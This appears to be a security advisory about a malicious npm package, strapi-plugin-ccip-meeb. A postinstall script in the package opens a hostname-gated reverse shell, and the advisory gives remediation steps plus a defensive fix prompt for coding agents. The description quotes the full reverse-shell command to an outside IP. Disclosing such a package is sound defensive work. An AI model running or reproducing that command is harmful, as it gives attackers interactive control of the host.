# MAL-2026-16226: Malicious code in strapi-plugin-ccip-meeb (npm)


- **Type:** Malicious package
- **Package:** `strapi-plugin-ccip-meeb` (npm)
- **Published:** 16 Sep 2026

## What is MAL-2026-16226?

MAL-2026-16226 is a malicious package in strapi-plugin-ccip-meeb, published on 16 Sep 2026. 

### Official description

strapi-plugin-ccip-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"`, opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.

## What should I do about MAL-2026-16226?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16226 is a malicious package: strapi-plugin-ccip-meeb (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16226/ (Markdown: https://insights.sbomify.com/MAL-2026-16226/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16226

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-16226/
Summaries are generated and may contain mistakes; the official description above is the record.